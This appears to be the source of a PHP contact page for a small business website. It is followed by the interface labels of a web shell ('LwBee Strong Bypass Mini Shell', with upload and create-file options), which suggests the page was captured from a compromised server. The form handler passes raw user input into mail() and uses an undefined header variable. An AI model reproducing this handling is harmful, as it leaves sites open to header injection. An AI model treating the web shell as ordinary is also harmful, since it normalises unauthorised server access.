/home3/vehiclea/public_html/yashuenterprises/contact.php
<?php
$_SESSION['active'] = 'contact';

include 'header.php'; 
?>
<main id="main">

    <!-- ======= Breadcrumbs ======= -->
    <div class="breadcrumbs d-flex align-items-center" style="background-image: url('assets/img/contact-header.jpg');">
      <div class="container position-relative d-flex flex-column align-items-center">

        <h2>Contact</h2>
        <ol>
          <li><a href="index.php">Home</a></li>
          <li>Contact</li>
        </ol>

      </div>
    </div><!-- End Breadcrumbs -->

    <!-- ======= Contact Section ======= -->
    <section id="contact" class="contact">
      <div class="container position-relative" data-aos="fade-up">

        <div class="row gy-4 d-flex justify-content-end">

          <div class="col-lg-5" data-aos="fade-up" data-aos-delay="100">

            <div class="info-item d-flex">
              <i class="bi bi-geo-alt flex-shrink-0"></i>
              <div>
                <h4>Location:</h4>
                <p>      <?php 
            $selectContactAddress = mysqli_query($conn,"SELECT * FROM contactContent ORDER BY id DESC LIMIT 1");
             $selecthead = mysqli_fetch_array($selectContactAddress); 
             echo $selecthead['address'];  
           ?>
           </p>
              </div>
            </div><!-- End Info Item -->

            <div class="info-item d-flex">
              <i class="bi bi-envelope flex-shrink-0"></i>
              <div>
                <h4>Email:</h4>
                <p><?php 
            $selectContactEmail = mysqli_query($conn,"SELECT * FROM contactContent ORDER BY id DESC LIMIT 1");
             $selecthead = mysqli_fetch_array($selectContactEmail); 
             echo $selecthead['email'];  
           ?></p>
              </div>
            </div><!-- End Info Item -->

            <div class="info-item d-flex">
              <i class="bi bi-phone flex-shrink-0"></i>
              <div>
                <h4>Call:</h4>
                <p><?php 
            $selectContactMobile = mysqli_query($conn,"SELECT * FROM contactContent ORDER BY id DESC LIMIT 1");
             $selecthead = mysqli_fetch_array($selectContactMobile); 
             echo $selecthead['mobile'];  
           ?></p>
              </div>
            </div><!-- End Info Item -->

          </div>
          <?php
          if(isset($_POST['submit'])){
            //  print_r($_POST);die;
            // Get the submitted form data
            $email = $_POST['email'];
            $name = $_POST['name'];
            $subject = $_POST['subject'];
            $message = $_POST['message']; 
            $to = "gayathri@siimatechnologies.com";
            // $subject = $subject;
            $emailSubject = ucfirst($name).' Applied for '.ucwords($subject);
            // $message .= "<h1>$message</h1>";
            $from = $email;
            // $header .= "Cc:afgh@somedomain.com \r\n";
            // $header .= "MIME-Version: 1.0\r\n";
            // $header .= "Content-type: text/html\r\n";
            $returnpath = "-f" . $email;
            $retval = mail($to,$emailSubject,$message,$header);
        //     if( $retval == true ) {
        //       echo "Message sent successfully...";
        //     }else {
        //     echo "Message could not be sent...";
        //  }
        }
        ?>
          <div class="col-lg-6" data-aos="fade-up" data-aos-delay="250">

            <form action="" method="post" role="form" class="php-email-form">
              <div class="row">
                <div class="col-md-6 form-group">
                  <input type="text" name="name" class="form-control" id="name" placeholder="Your Name" required>
                </div>
                <div class="col-md-6 form-group mt-3 mt-md-0">
                  <input type="email" class="form-control" name="email" id="email" placeholder="Your Email" required>
                </div>
              </div>
              <div class="form-group mt-3">
                <input type="text" class="form-control" name="subject" id="subject" placeholder="Subject" required>
              </div>
              <div class="form-group mt-3">
                <textarea class="form-control" name="message" rows="5" placeholder="Message" required></textarea>
              </div>
              <div class="my-3">
                <div class="loading">Loading</div>
                <div class="error-message"></div>
                <div class="sent-message">Your message has been sent. Thank you!</div>
              </div>
              <div class="text-center"><button type="submit" name="submit">Send Message</button></div>
            </form>

          </div><!-- End Contact Form -->

        </div>

      </div>
    </section><!-- End Contact Section -->

  </main><!-- End #main -->
  <?php 
  include 'footer.php';
  ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File